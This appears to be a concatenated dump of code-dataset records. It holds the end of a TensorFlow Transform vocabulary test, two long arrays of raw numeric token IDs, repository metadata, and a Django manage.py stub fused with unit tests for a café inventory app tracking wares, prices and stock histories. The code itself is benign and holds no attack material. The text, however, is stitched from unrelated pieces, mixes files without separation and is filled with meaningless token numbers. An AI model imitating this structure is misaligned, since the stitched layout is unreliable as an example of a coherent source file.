{'a': tf.io.FixedLenFeature([], tf.string)}) tft_tmp_dir = os.path.join(self.get_temp_dir(), 'temp_dir') transform_fn_dir = os.path.join(self.get_temp_dir(), 'export_transform_fn') with beam_impl.Context(temp_dir=tft_tmp_dir): with self._makeTestPipeline() as pipeline: input_data = pipeline | beam.Create([ {'a': '1_X_a 1_X_a 2_X_a 1_X_b 2_X_b'}, {'a': '1_X_a 1_X_a 2_X_a 2_X_a'}, {'a': '2_X_b 3_X_c 4_X_c'} ]) transform_fn = ( (input_data, input_metadata) | beam_impl.AnalyzeDataset(preprocessing_fn)) _ = transform_fn | transform_fn_io.WriteTransformFn(transform_fn_dir) self.assertTrue(os.path.isdir(tft_tmp_dir)) tft_output = tft.TFTransformOutput(transform_fn_dir) assets_path = os.path.join(tft_output.transform_savedmodel_dir, tf.saved_model.ASSETS_DIRECTORY) self.assertTrue(os.path.isdir(assets_path)) self.assertEqual([b'4 1_X_a', b'2 2_X_b', b'1 4_X_c'], tft_output.vocabulary_by_name(outfile)) def testVocabularyAnnotations(self): outfile = 'vocab.file' # Sanitization of vocabulary file names replaces '.' with '_'. annotation_file = 'vocab_file' if self._VocabFormat() == 'tfrecord_gzip': annotation_file = '{}.tfrecord.gz'.format(annotation_file) def preprocessing_fn(inputs): _ = tft.vocabulary( inputs['a'], vocab_filename=outfile, file_format=self._VocabFormat()) tft.annotate_asset('key_1', annotation_file) return inputs input_metadata = tft_unit.metadata_from_feature_spec( {'a': tf.io.FixedLenFeature([], tf.string)}) tft_tmp_dir = os.path.join(self.get_temp_dir(), 'temp_dir') transform_fn_dir = os.path.join(self.get_temp_dir(), 'export_transform_fn') with beam_impl.Context(temp_dir=tft_tmp_dir): with self._makeTestPipeline() as pipeline: input_data = pipeline | beam.Create([ { 'a': 'hello', }, { 'a': 'world', }, { 'a': 'hello', }, ]) transform_fn = ((input_data, input_metadata) | beam_impl.AnalyzeDataset(preprocessing_fn)) _, metadata = transform_fn self.assertDictEqual(metadata.asset_map, { 'key_1': annotation_file, outfile: annotation_file }) _ = transform_fn | transform_fn_io.WriteTransformFn(transform_fn_dir) self.assertTrue(os.path.isdir(tft_tmp_dir)) tft_output = tft.TFTransformOutput(transform_fn_dir) assets_path = os.path.join(tft_output.transform_savedmodel_dir, tf.saved_model.ASSETS_DIRECTORY) self.assertTrue(os.path.isdir(assets_path)) self.assertEqual([b'hello', b'world'], tft_output.vocabulary_by_name('key_1')) @mock.patch.object(analyzer_impls, '_PRESORT_BATCH_SIZE', 2) def testVocabularyPreSort(self): input_data = [ dict(x=b'foo'), dict(x=b'hello'), dict(x=b'aaaaa'), dict(x=b'goodbye'), dict(x=b'bar'), dict(x=b'hello'), dict(x=b'goodbye'), dict(x=b'hello'), dict(x=b'hello'), dict(x=b'goodbye'), dict(x=b'aaaaa'), ] input_metadata = tft_unit.metadata_from_feature_spec( {'x': tf.io.FixedLenFeature([], tf.string)}) expected_vocab_file_contents = [(b'hello', 4), (b'goodbye', 3), (b'aaaaa', 2), (b'foo', 1), (b'bar', 1)] def preprocessing_fn(inputs): tft.vocabulary( inputs['x'], vocab_filename='my_vocab', file_format=self._VocabFormat(), store_frequency=True) return inputs self.assertAnalyzeAndTransformResults( input_data, input_metadata, preprocessing_fn, input_data, input_metadata, expected_vocab_file_contents={'my_vocab': expected_vocab_file_contents}) def testVocabularyCustomLookup(self): if self._VocabFormat() != 'text': raise tft_unit.SkipTest('Test only applicable to text format.') input_data = [ dict(x=b'bar'), dict(x=b'foo'), dict(x=b'bar'), dict(x=b'bar'), dict(x=b'foo'), ] input_metadata = tft_unit.metadata_from_feature_spec( {'x': tf.io.FixedLenFeature([], tf.string)}) expected_data = [ dict(x=b'bar', x_int=0, x_int_mean=0.4), dict(x=b'bar', x_int=0, x_int_mean=0.4), dict(x=b'bar', x_int=0, x_int_mean=0.4), dict(x=b'foo', x_int=1, x_int_mean=0.4), dict(x=b'foo', x_int=1, x_int_mean=0.4), ] expected_metadata = tft_unit.metadata_from_feature_spec({ 'x': tf.io.FixedLenFeature([], tf.string), 'x_int': tf.io.FixedLenFeature([], tf.int64), 'x_int_mean': tf.io.FixedLenFeature([], tf.float32) }) expected_vocab_file_contents = [(b'bar'), (b'foo')] def preprocessing_fn(inputs): vocab_path = tft.vocabulary( inputs['x'], vocab_filename='my_vocab', file_format=self._VocabFormat()) initializer = tf.lookup.TextFileInitializer( vocab_path, key_dtype=tf.string, key_index=tf.lookup.TextFileIndex.WHOLE_LINE, value_dtype=tf.int64, value_index=tf.lookup.TextFileIndex.LINE_NUMBER) table = tf.lookup.StaticHashTable(initializer, default_value=-1) x_int = table.lookup(inputs['x']) x_int_mean = tf.zeros_like(x_int, dtype=tf.float32) + tft.mean(x_int) return {'x': inputs['x'], 'x_int': x_int, 'x_int_mean': x_int_mean} self.assertAnalyzeAndTransformResults( input_data, input_metadata, preprocessing_fn, expected_data, expected_metadata, expected_vocab_file_contents={'my_vocab': expected_vocab_file_contents}) if __name__ == '__main__': tft_unit.main()
apache-2.0
[ 3, 2803, 29, 1624, 13, 24, 199, 3, 199, 3, 1898, 9708, 4475, 3277, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 624, 2925, 367, 307, 856, 14, 18681, 436, 307, 856, 14, 3357, 63, 460, 63, 4998, 63, 18681, 1041, 199, 199, 646, 747, 199, 199, 646, 17098, 63, 14529, 465, 17453, 199, 199, 646, 3228, 465, 2833, 199, 646, 3228, 63, 4711, 465, 307, 856, 199, 504, 3228, 63, 4711, 14, 14529, 492, 24608, 63, 3236, 478, 199, 504, 3228, 63, 4711, 14, 14529, 492, 11512, 465, 17453, 63, 5472, 199, 504, 3228, 63, 4711, 14, 14529, 492, 307, 856, 63, 3248, 199, 504, 3228, 63, 4711, 14, 14529, 14, 84, 856, 63, 14529, 63, 2308, 492, 5793, 63, 2324, 63, 2308, 199, 199, 504, 3228, 63, 2343, 14, 2625, 14, 86, 16, 492, 4177, 63, 3317, 18, 199, 199, 1805, 275, 2833, 14, 5819, 14, 86, 17, 14, 396, 14, 1805, 421, 199, 533, 812, 6607, 11439, 20405, 774, 8, 84, 856, 63, 3248, 14, 6939, 1746, 304, 819, 347, 3613, 8, 277, 304, 272, 2833, 14, 5819, 14, 86, 17, 14, 4806, 14, 815, 360, 14139, 511, 1930, 26, 450, 83, 297, 291, 423, 25008, 985, 9, 272, 291, 423, 1100, 275, 17453, 63, 5472, 14, 2998, 8, 3990, 63, 3249, 63, 5819, 63, 86, 17, 29, 549, 9, 272, 291, 423, 1100, 855, 4200, 4533, 272, 1613, 1252, 5996, 342, 819, 347, 485, 54, 6607, 3484, 8, 277, 304, 272, 372, 283, 505, 7, 819, 485, 9139, 63, 13837, 63, 17978, 275, 307, 856, 63, 3248, 14, 7925, 63, 4579, 63, 3214, 779, 489, 1211, 8, 881, 16228, 63, 354, 17574, 875, 297, 881, 671, 63, 576, 1524, 1598, 330, 7, 5006, 297, 330, 7, 5006, 297, 330, 7, 5006, 297, 330, 7, 8302, 16481, 297, 330, 7, 6000, 65, 297, 330, 7, 6000, 65, 297, 1598, 330, 7, 8302, 16481, 297, 330, 7, 8302, 16481, 297, 330, 7, 6000, 65, 297, 330, 7, 6000, 65, 297, 330, 7, 8302, 16481, 297, 330, 7, 8302, 16481, 7, 881, 2156, 881, 671, 63, 4445, 63, 1650, 29, 3249, 14, 2308, 14, 9515, 28556, 8798, 2833, 14, 875, 395, 881, 1420, 63, 9953, 63, 493, 63, 4407, 17497, 66, 7, 8302, 16481, 297, 413, 14, 28947, 708, 1194, 395, 3147, 334, 66, 7, 6000, 65, 297, 413, 14, 1272, 8255, 1780, 395, 3147, 334, 66, 7, 5006, 297, 413, 14, 1194, 13938, 2192, 16636, 489, 1211, 8, 881, 16228, 63, 354, 17574, 442, 772, 297, 881, 671, 63, 576, 1524, 19, 12, 650, 12, 650, 12, 413, 12, 499, 12, 499, 12, 413, 12, 413, 12, 499, 12, 499, 12, 413, 12, 413, 467, 881, 671, 63, 4445, 63, 1650, 29, 3249, 14, 2308, 14, 9515, 28556, 8798, 2833, 14, 442, 772, 395, 881, 1420, 63, 9953, 63, 493, 63, 4407, 17497, 66, 7, 17, 297, 413, 14, 28947, 708, 1194, 395, 334, 66, 7, 18, 297, 413, 14, 1272, 8255, 1780, 395, 3147, 334, 66, 7, 19, 297, 413, 14, 1194, 13938, 2192, 16636, 523, 2156, 359, 489, 1211, 8, 881, 16228, 63, 354, 534, 1045, 63, 1302, 297, 881, 1768, 63, 576, 1524, 17, 12, 413, 12, 413, 12, 413, 12, 413, 12, 413, 12, 378, 12, 378, 12, 413, 12, 413, 12, 413, 12, 378, 467, 881, 1768, 63, 4445, 63, 1650, 29, 3249, 14, 2308, 14, 9515, 28556, 8798, 2833, 14, 442, 772, 395, 881, 1748, 63, 3028, 63, 504, 63, 8595, 29, 16, 14, 16, 12, 881, 3877, 63, 11132, 29, 549, 395, 523, 4794, 819, 768, 84, 856, 63, 3248, 14, 4579, 63, 3214, 2031, 779, 489, 1211, 8, 881, 16228, 63, 354, 17574, 324, 23395, 63, 2664, 63, 3008, 63, 1302, 297, 881, 671, 63, 576, 1524, 1598, 330, 7, 27666, 297, 330, 7, 27666, 297, 330, 7, 27666, 297, 330, 7, 324, 27666, 297, 1598, 330, 7, 324, 27666, 297, 330, 7, 324, 27666, 297, 330, 7, 324, 27666, 297, 1598, 330, 7, 324, 27666, 63, 345, 264, 297, 330, 7, 324, 27666, 63, 345, 264, 7, 881, 2156, 881, 671, 63, 4445, 63, 1650, 29, 3249, 14, 2308, 14, 9515, 28556, 8798, 2833, 14, 875, 395, 881, 1768, 63, 576, 1524, 17, 12, 413, 12, 413, 12, 378, 12, 413, 12, 413, 12, 378, 12, 378, 12, 413, 467, 881, 1768, 63, 4445, 63, 1650, 29, 3249, 14, 2308, 14, 9515, 28556, 8798, 2833, 14, 442, 772, 395, 881, 1420, 63, 9953, 63, 493, 63, 4407, 1524, 1598, 334, 66, 7, 27666, 297, 413, 14, 13332, 2564, 772, 395, 1598, 334, 66, 7, 324, 27666, 297, 378, 14, 11870, 2426, 395, 1598, 334, 66, 7, 324, 27666, 63, 345, 264, 297, 378, 14, 975, 1020, 821, 395, 881, 2156, 881, 1748, 63, 3028, 63, 504, 63, 8595, 29, 16, 14, 16, 12, 881, 675, 63, 23395, 63, 6552, 1061, 63, 815, 29, 797, 12, 881, 3877, 63, 11132, 29, 549, 395, 489, 1211, 8, 881, 16228, 63, 354, 17574, 324, 23395, 63, 2664, 63, 3029, 63, 533, 63, 1302, 297, 881, 671, 63, 576, 1524, 1598, 330, 7, 8302, 63, 5790, 630, 63, 1618, 63, 16, 297, 330, 7, 8302, 63, 5790, 630, 63, 1618, 63, 16, 297, 1598, 330, 7, 8302, 63, 5790, 630, 63, 1618, 63, 16, 297, 330, 7, 8302, 63, 5790, 630, 63, 1618, 63, 17, 297, 1598, 330 ]
[ 2803, 29, 1624, 13, 24, 199, 3, 199, 3, 1898, 9708, 4475, 3277, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 624, 2925, 367, 307, 856, 14, 18681, 436, 307, 856, 14, 3357, 63, 460, 63, 4998, 63, 18681, 1041, 199, 199, 646, 747, 199, 199, 646, 17098, 63, 14529, 465, 17453, 199, 199, 646, 3228, 465, 2833, 199, 646, 3228, 63, 4711, 465, 307, 856, 199, 504, 3228, 63, 4711, 14, 14529, 492, 24608, 63, 3236, 478, 199, 504, 3228, 63, 4711, 14, 14529, 492, 11512, 465, 17453, 63, 5472, 199, 504, 3228, 63, 4711, 14, 14529, 492, 307, 856, 63, 3248, 199, 504, 3228, 63, 4711, 14, 14529, 14, 84, 856, 63, 14529, 63, 2308, 492, 5793, 63, 2324, 63, 2308, 199, 199, 504, 3228, 63, 2343, 14, 2625, 14, 86, 16, 492, 4177, 63, 3317, 18, 199, 199, 1805, 275, 2833, 14, 5819, 14, 86, 17, 14, 396, 14, 1805, 421, 199, 533, 812, 6607, 11439, 20405, 774, 8, 84, 856, 63, 3248, 14, 6939, 1746, 304, 819, 347, 3613, 8, 277, 304, 272, 2833, 14, 5819, 14, 86, 17, 14, 4806, 14, 815, 360, 14139, 511, 1930, 26, 450, 83, 297, 291, 423, 25008, 985, 9, 272, 291, 423, 1100, 275, 17453, 63, 5472, 14, 2998, 8, 3990, 63, 3249, 63, 5819, 63, 86, 17, 29, 549, 9, 272, 291, 423, 1100, 855, 4200, 4533, 272, 1613, 1252, 5996, 342, 819, 347, 485, 54, 6607, 3484, 8, 277, 304, 272, 372, 283, 505, 7, 819, 485, 9139, 63, 13837, 63, 17978, 275, 307, 856, 63, 3248, 14, 7925, 63, 4579, 63, 3214, 779, 489, 1211, 8, 881, 16228, 63, 354, 17574, 875, 297, 881, 671, 63, 576, 1524, 1598, 330, 7, 5006, 297, 330, 7, 5006, 297, 330, 7, 5006, 297, 330, 7, 8302, 16481, 297, 330, 7, 6000, 65, 297, 330, 7, 6000, 65, 297, 1598, 330, 7, 8302, 16481, 297, 330, 7, 8302, 16481, 297, 330, 7, 6000, 65, 297, 330, 7, 6000, 65, 297, 330, 7, 8302, 16481, 297, 330, 7, 8302, 16481, 7, 881, 2156, 881, 671, 63, 4445, 63, 1650, 29, 3249, 14, 2308, 14, 9515, 28556, 8798, 2833, 14, 875, 395, 881, 1420, 63, 9953, 63, 493, 63, 4407, 17497, 66, 7, 8302, 16481, 297, 413, 14, 28947, 708, 1194, 395, 3147, 334, 66, 7, 6000, 65, 297, 413, 14, 1272, 8255, 1780, 395, 3147, 334, 66, 7, 5006, 297, 413, 14, 1194, 13938, 2192, 16636, 489, 1211, 8, 881, 16228, 63, 354, 17574, 442, 772, 297, 881, 671, 63, 576, 1524, 19, 12, 650, 12, 650, 12, 413, 12, 499, 12, 499, 12, 413, 12, 413, 12, 499, 12, 499, 12, 413, 12, 413, 467, 881, 671, 63, 4445, 63, 1650, 29, 3249, 14, 2308, 14, 9515, 28556, 8798, 2833, 14, 442, 772, 395, 881, 1420, 63, 9953, 63, 493, 63, 4407, 17497, 66, 7, 17, 297, 413, 14, 28947, 708, 1194, 395, 334, 66, 7, 18, 297, 413, 14, 1272, 8255, 1780, 395, 3147, 334, 66, 7, 19, 297, 413, 14, 1194, 13938, 2192, 16636, 523, 2156, 359, 489, 1211, 8, 881, 16228, 63, 354, 534, 1045, 63, 1302, 297, 881, 1768, 63, 576, 1524, 17, 12, 413, 12, 413, 12, 413, 12, 413, 12, 413, 12, 378, 12, 378, 12, 413, 12, 413, 12, 413, 12, 378, 467, 881, 1768, 63, 4445, 63, 1650, 29, 3249, 14, 2308, 14, 9515, 28556, 8798, 2833, 14, 442, 772, 395, 881, 1748, 63, 3028, 63, 504, 63, 8595, 29, 16, 14, 16, 12, 881, 3877, 63, 11132, 29, 549, 395, 523, 4794, 819, 768, 84, 856, 63, 3248, 14, 4579, 63, 3214, 2031, 779, 489, 1211, 8, 881, 16228, 63, 354, 17574, 324, 23395, 63, 2664, 63, 3008, 63, 1302, 297, 881, 671, 63, 576, 1524, 1598, 330, 7, 27666, 297, 330, 7, 27666, 297, 330, 7, 27666, 297, 330, 7, 324, 27666, 297, 1598, 330, 7, 324, 27666, 297, 330, 7, 324, 27666, 297, 330, 7, 324, 27666, 297, 1598, 330, 7, 324, 27666, 63, 345, 264, 297, 330, 7, 324, 27666, 63, 345, 264, 7, 881, 2156, 881, 671, 63, 4445, 63, 1650, 29, 3249, 14, 2308, 14, 9515, 28556, 8798, 2833, 14, 875, 395, 881, 1768, 63, 576, 1524, 17, 12, 413, 12, 413, 12, 378, 12, 413, 12, 413, 12, 378, 12, 378, 12, 413, 467, 881, 1768, 63, 4445, 63, 1650, 29, 3249, 14, 2308, 14, 9515, 28556, 8798, 2833, 14, 442, 772, 395, 881, 1420, 63, 9953, 63, 493, 63, 4407, 1524, 1598, 334, 66, 7, 27666, 297, 413, 14, 13332, 2564, 772, 395, 1598, 334, 66, 7, 324, 27666, 297, 378, 14, 11870, 2426, 395, 1598, 334, 66, 7, 324, 27666, 63, 345, 264, 297, 378, 14, 975, 1020, 821, 395, 881, 2156, 881, 1748, 63, 3028, 63, 504, 63, 8595, 29, 16, 14, 16, 12, 881, 675, 63, 23395, 63, 6552, 1061, 63, 815, 29, 797, 12, 881, 3877, 63, 11132, 29, 549, 395, 489, 1211, 8, 881, 16228, 63, 354, 17574, 324, 23395, 63, 2664, 63, 3029, 63, 533, 63, 1302, 297, 881, 671, 63, 576, 1524, 1598, 330, 7, 8302, 63, 5790, 630, 63, 1618, 63, 16, 297, 330, 7, 8302, 63, 5790, 630, 63, 1618,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
cejsing/Softwareudvikling
GammelKode/cafeen/tests.py
2
42270
#!/usr/bin/env python import os import sys if __name__ == "__main__": os.environ.setdefault("DJANGO_SETTINGS_MODULE", "cafeen.settings") from django.core.management import execute_from_command_line execute_from_command_line(sys.argv) import datetime from django.utils import timezone from django.test import TestCase from polls.models import Wares, Waregroups, Events, Waresingroup, Pricesinevent, Extrafunctions, Waresnamehistory, Waresstdpricehistory, Waresinbarhistory, Waresinstockhistory, Waresdeletehistory, Wgnamehistory, Wginfohistory, Wgdeletehistory, Eventnamehistory, Eventinfohistory, Eventdeletehistory, WINcreatehistory, WINdeletehistory, PIEcreatehistory, PIEdeletehistory, Openandclose, PIEpricehistory # Find out why these need to be imported but Noopeningsyet doesn't from polls.exceptions import Alreadyclosed, Alreadyopen, Alreadymade class WaresMethodTests(TestCase): def test_insertware(self): #Tests that a ware can be inserted with insert function Wares.insert("Carlsberg") self.assertEqual(len(Wares.objects.all().filter(warename="Carlsberg")) == 1, True) self.assertEqual(len(Wares.objects.all().filter(warename="Calrsberg")) == 1, False) Wares.insert("Tuborg") self.assertEqual(len(Wares.objects.all().filter(warename="Tuborg")) == 1, True) def test_setinbar(self): Wares.insert("Carslberg") Wares.insert("Tuborg") Wares.setwareinbar(1,5) Wares.setwareinbar(2,10) self.assertEqual(len(Wares.objects.all().filter(inbar=5)) == 1, True) self.assertEqual(len(Wares.objects.all().filter(inbar=10)) == 1, True) self.assertEqual(len(Wares.objects.all().filter(inbar=2)) == 2, False) def test_setinstockroom(self): Wares.insert("Carslberg") Wares.insert("Tuborg") Wares.insert("Heineken") Wares.setwareinstockroom(1,5) Wares.setwareinstockroom(2,10) Wares.setwareinbar(3,20) self.assertEqual(len(Wares.objects.all().filter(instockroom=5)) == 1, True) self.assertEqual(len(Wares.objects.all().filter(instockroom=10)) == 1, True) self.assertEqual(len(Wares.objects.all().filter(instockroom=20)) == 1, False) self.assertEqual(len(Wares.objects.all().filter(instockroom=2)) == 2, False) def test_standardprice(self): Wares.insert("Carslberg") Wares.insert("Tuborg") Wares.insert("Heineken") Wares.setwareinbar(1,5) Wares.setwareinstockroom(1,5) Wares.setstandardprice(1,500) #Carlsberg er dyrt Wares.setstandardprice(2,50) Wares.setstandardprice(3,50) self.assertEqual(len(Wares.objects.all().filter(standardprice=500)) == 1, True) self.assertEqual(len(Wares.objects.all().filter(standardprice=50)) == 2, True) self.assertEqual(len(Wares.objects.all()) == 3, True) def test_removeware(self): Wares.insert("Carslberg") Wares.insert("Tuborg") Wares.insert("Heineken") self.assertEqual(len(Wares.objects.all()) == 3, True) Wares.deletethis(1) self.assertEqual(len(Wares.objects.all()) == 2, True) Wares.insert("Carslberg") Wares.deletethis(4) def test_getwaresforopening(self): Wares.insert("Carslberg") Wares.insert("Tuborg") Wares.insert("Heineken") self.assertEqual(len(Wares.objects.all()) == 3, True) self.assertEqual(len(Wares.getopeningwares()) == 0, True) Wares.setwareinbar(1,1) self.assertEqual(len(Wares.getopeningwares()) == 1, True) Wares.setwareinstockroom(1,2) self.assertEqual(len(Wares.getopeningwares()) == 1, True) Wares.setwareinstockroom(2,2) self.assertEqual(len(Wares.getopeningwares()) == 2, True) def test_getstdprice(self): Wares.insert("Carslberg") Wares.insert("Tuborg") Wares.setwareinbar(1,5) Wares.setwareinbar(2,10) self.assertEqual(len(Wares.objects.all().filter(inbar=5)) == 1, True) self.assertEqual(len(Wares.objects.all().filter(inbar=10)) == 1, True) self.assertEqual(len(Wares.objects.all().filter(inbar=2)) == 2, False) Wares.setstandardprice(1,10) Wares.setstandardprice(2,30) self.assertEqual(Wares.getstdprice(1) == 10, True) self.assertEqual(Wares.getstdprice(1) == 30, False) self.assertEqual(Wares.getstdprice(2) == 30, True) def test_name_occupied(self): Wares.insert("Carlsberg") self.assertEqual(Wares.nameisavailable("Carlsberg"), False) self.assertEqual(Wares.nameisavailable("Tuborg"), True) # All wareshis tests collected here class WaresHistoriesMethodTests(TestCase): #Checks that only the correct calls increase elements in Waresnamehistory def test_Waresnamehistory1(self): self.assertEqual(len(Waresnamehistory.objects.all().filter(warename="Carlsberg")) == 0, True) self.assertEqual(len(Waresnamehistory.objects.all()) == 0, True) Wares.insert("Carlsberg") try: Wares.insert("Carlsberg") except Alreadymade: pass Wares.insert("Carlsberg Light") Wares.insert("Yankeebar") Wares.insert("Haribo Clickmix") Wares.insert("Mokai") Wares.insert("Heineken") Wares.insert("Tuborg") self.assertEqual(len(Waresnamehistory.objects.all().filter(warename="Carlsberg")) == 1, True) self.assertEqual(len(Waresnamehistory.objects.all()) == 7, True) Wares.setwarename(1, "Carlsberg xtreme") Wares.setwarename(7, "Tuborg guld") self.assertEqual(len(Waresnamehistory.objects.all()) == 9, True) Wares.getthis(1) self.assertEqual(len(Waresnamehistory.objects.all()) == 9, True) Wares.getopeningwares() self.assertEqual(len(Waresnamehistory.objects.all()) == 9, True) Wares.getstdprice(1) self.assertEqual(len(Waresnamehistory.objects.all()) == 9, True) Wares.setwareinbar(1,10) self.assertEqual(len(Waresnamehistory.objects.all()) == 9, True) Wares.setwareinstockroom(2,300) self.assertEqual(len(Waresnamehistory.objects.all()) == 9, True) Wares.setstandardprice(1,1) self.assertEqual(len(Waresnamehistory.objects.all()) == 9, True) Wares.deletethis(1) self.assertEqual(len(Waresnamehistory.objects.all()) == 9, True) #Checks that elements are saved in Waresnamehistory in a meaningful way based on name and wareid #TODO: check for pubdate? def test_Waresnamehistory2(self): Wares.insert("Carlsberg") try: Wares.insert("Carlsberg") except Alreadymade: pass Wares.insert("Carlsberg Light") Wares.insert("Yankeebar") Wares.insert("Haribo Clickmix") Wares.insert("Mokai") Wares.insert("Heineken") Wares.insert("Tuborg") self.assertEqual(len(Waresnamehistory.objects.all().filter(warename="Carlsberg")) == 1, True) self.assertEqual(len(Waresnamehistory.objects.all().filter(wareid=1)) == 1, True) Wares.setwarename(1, "Carlsberg xtreme") Wares.setwarename(7, "Tuborg guld") self.assertEqual(len(Waresnamehistory.objects.all().filter(wareid=1)) == 2, True) Wares.deletethis(1) self.assertEqual(len(Waresnamehistory.objects.all().filter(wareid=1)) == 2, True) def test_Waresinbarhistory(self): self.assertEqual(len(Waresinbarhistory.objects.all()) == 0, True) Wares.insert("Carlsberg") try: Wares.insert("Carlsberg") except Alreadymade: pass Wares.insert("Carlsberg Light") Wares.insert("Yankeebar") Wares.insert("Haribo Clickmix") Wares.insert("Mokai") Wares.insert("Heineken") Wares.insert("Tuborg") self.assertEqual(len(Waresinbarhistory.objects.all()) == 0, True) Wares.setwarename(1, "Carlsberg xtreme") self.assertEqual(len(Waresinbarhistory.objects.all()) == 0, True) Wares.getthis(1) self.assertEqual(len(Waresinbarhistory.objects.all()) == 0, True) Wares.getopeningwares() self.assertEqual(len(Waresinbarhistory.objects.all()) == 0, True) Wares.getstdprice(1) self.assertEqual(len(Waresinbarhistory.objects.all()) == 0, True) Wares.setwareinbar(1,10) Wares.setwareinbar(1,20) Wares.setwareinbar(2,11) self.assertEqual(len(Waresinbarhistory.objects.all()) == 3, True) Wares.setwareinstockroom(2,300) self.assertEqual(len(Waresinbarhistory.objects.all()) == 3, True) Wares.setstandardprice(1,1) self.assertEqual(len(Waresinbarhistory.objects.all()) == 3, True) Wares.deletethis(1) self.assertEqual(len(Waresinbarhistory.objects.all()) == 3, True) def test_Waresinstockhistory(self): self.assertEqual(len(Waresinstockhistory.objects.all()) == 0, True) Wares.insert("Carlsberg") try: Wares.insert("Carlsberg") except Alreadymade: pass Wares.insert("Carlsberg Light") Wares.insert("Yankeebar") Wares.insert("Haribo Clickmix") Wares.insert("Mokai") Wares.insert("Heineken") Wares.insert("Tuborg") self.assertEqual(len(Waresinstockhistory.objects.all()) == 0, True) Wares.setwarename(1, "Carlsberg xtreme") self.assertEqual(len(Waresinstockhistory.objects.all()) == 0, True) Wares.getthis(1) self.assertEqual(len(Waresinstockhistory.objects.all()) == 0, True) Wares.getopeningwares() self.assertEqual(len(Waresinstockhistory.objects.all()) == 0, True) Wares.getstdprice(1) self.assertEqual(len(Waresinstockhistory.objects.all()) == 0, True) Wares.setwareinbar(1,10) Wares.setwareinbar(1,20) Wares.setwareinbar(2,11) self.assertEqual(len(Waresinstockhistory.objects.all()) == 0, True) Wares.setwareinstockroom(2,300) self.assertEqual(len(Waresinstockhistory.objects.all()) == 1, True) Wares.setstandardprice(1,1) self.assertEqual(len(Waresinstockhistory.objects.all()) == 1, True) Wares.deletethis(1) self.assertEqual(len(Waresinstockhistory.objects.all()) == 1, True) def test_Waresstdpricehistory(self): self.assertEqual(len(Waresstdpricehistory.objects.all()) == 0, True) Wares.insert("Carlsberg") try: Wares.insert("Carlsberg") except Alreadymade: pass Wares.insert("Carlsberg Light") Wares.insert("Yankeebar") Wares.insert("Haribo Clickmix") Wares.insert("Mokai") Wares.insert("Heineken") Wares.insert("Tuborg") self.assertEqual(len(Waresstdpricehistory.objects.all()) == 0, True) Wares.setwarename(1, "Carlsberg xtreme") self.assertEqual(len(Waresstdpricehistory.objects.all()) == 0, True) Wares.getthis(1) self.assertEqual(len(Waresstdpricehistory.objects.all()) == 0, True) Wares.getopeningwares() self.assertEqual(len(Waresstdpricehistory.objects.all()) == 0, True) Wares.getstdprice(1) self.assertEqual(len(Waresstdpricehistory.objects.all()) == 0, True) Wares.setwareinbar(1,10) Wares.setwareinbar(1,20) Wares.setwareinbar(2,11) self.assertEqual(len(Waresstdpricehistory.objects.all()) == 0, True) Wares.setwareinstockroom(2,300) self.assertEqual(len(Waresstdpricehistory.objects.all()) == 0, True) Wares.setstandardprice(1,1) self.assertEqual(len(Waresstdpricehistory.objects.all()) == 1, True) Wares.deletethis(1) self.assertEqual(len(Waresstdpricehistory.objects.all()) == 1, True) def test_Waresdeletehistory(self): self.assertEqual(len(Waresdeletehistory.objects.all()) == 0, True) Wares.insert("Carlsberg") try: Wares.insert("Carlsberg") except Alreadymade: pass Wares.insert("Carlsberg Light") Wares.insert("Yankeebar") Wares.insert("Haribo Clickmix") Wares.insert("Mokai") Wares.insert("Heineken") Wares.insert("Tuborg") Wares.deletethis(1) self.assertEqual(len(Waresdeletehistory.objects.all()) == 1, True) Wares.setwarename(2, "Carlsberg xtreme") self.assertEqual(len(Waresdeletehistory.objects.all()) == 1, True) Wares.getthis(2) self.assertEqual(len(Waresdeletehistory.objects.all()) == 1, True) Wares.getopeningwares() self.assertEqual(len(Waresdeletehistory.objects.all()) == 1, True) Wares.getstdprice(2) self.assertEqual(len(Waresdeletehistory.objects.all()) == 1, True) Wares.setwareinbar(2,10) Wares.setwareinbar(2,20) Wares.setwareinbar(3,11) self.assertEqual(len(Waresdeletehistory.objects.all()) == 1, True) Wares.setwareinstockroom(3,300) self.assertEqual(len(Waresdeletehistory.objects.all()) == 1, True) Wares.setstandardprice(2,1) self.assertEqual(len(Waresdeletehistory.objects.all()) == 1, True) Wares.deletethis(5) self.assertEqual(len(Waresdeletehistory.objects.all()) == 2, True) class WaregroupsHistoriesMethodTests(TestCase): def test_Waregroupsnamehistory(self): self.assertEqual(len(Wgnamehistory.objects.all()) == 0, True) Waregroups.insert("luksusøl") Waregroups.insert("basisøl") 